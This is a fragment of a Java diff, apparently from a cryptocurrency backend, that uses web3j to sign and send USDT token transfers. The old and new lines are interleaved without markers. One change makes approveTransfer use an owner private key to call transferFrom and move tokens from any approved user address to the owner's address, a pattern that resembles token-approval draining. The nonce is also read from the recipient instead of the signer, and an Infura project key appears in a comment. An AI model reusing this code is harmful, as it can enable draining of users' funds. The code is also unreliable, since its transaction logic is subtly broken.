| | |
| | | // Web3j web3j = Web3j.build(new
|
| | | // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
|
| | | if(StringUtils.isBlank(gas)){
|
| | | gas="70";
|
| | | gas="35";
|
| | | }
|
| | |
|
| | | String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
|
| | | Credentials credentials = Credentials.create(privateKey);
|
| | |
|
| | |
| | |
|
| | | RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
|
| | | Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
|
| | | Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
|
| | | Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
|
| | | // 10*80000/1000000000=0.0008 手续费
|
| | |
|
| | | byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
|
| | | String hexValue = Numeric.toHexString(signedMessage);
|
| | |
|
| | | CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
|
| | | EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
|
| | | //return "hash";
|
| | | // log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
|
| | |
|
| | | if (ethSendTransaction.hasError()) {
|
| | | return "";
|
| | | } else {
|
| | | String transactionHash = ethSendTransaction.getTransactionHash();
|
| | | // log.info("Transfer transactionHash:" + transactionHash);
|
| | | return transactionHash;
|
| | | }
|
| | | }
|
| | |
|
| | | public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
|
| | | throws InterruptedException, ExecutionException {
|
| | | if(StringUtils.isBlank(gas)){
|
| | | gas="35";
|
| | | }
|
| | |
|
| | | BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
|
| | | amount = amountPow.toPlainString();
|
| | | if (amount.contains(".")) {
|
| | | amount = amount.substring(0, amount.lastIndexOf("."));
|
| | | }
|
| | |
|
| | | String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
|
| | | Credentials credentials = Credentials.create(privateKey);
|
| | |
|
| | | EthGetTransactionCount ethGetTransactionCount = web3j
|
| | | .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
|
| | |
|
| | | BigInteger nonce = ethGetTransactionCount.getTransactionCount();
|
| | |
|
| | | Function function = new Function("transferFrom",
|
| | | Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
|
| | | Arrays.asList(new TypeReference<Type>() {
|
| | | }));
|
| | |
|
| | | String encodedFunction = FunctionEncoder.encode(function);
|
| | |
|
| | | RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
|
| | | Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
|
| | | Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
|
| | | // 10*80000/1000000000=0.0008 手续费
|
| | |
|
| | | byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
|
| | |
| | |
|
| | | public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
|
| | | try {
|
| | | return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
|
| | | return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
|
| | | } catch (InterruptedException | ExecutionException e) {
|
| | | e.printStackTrace();
|
| | | return "";
|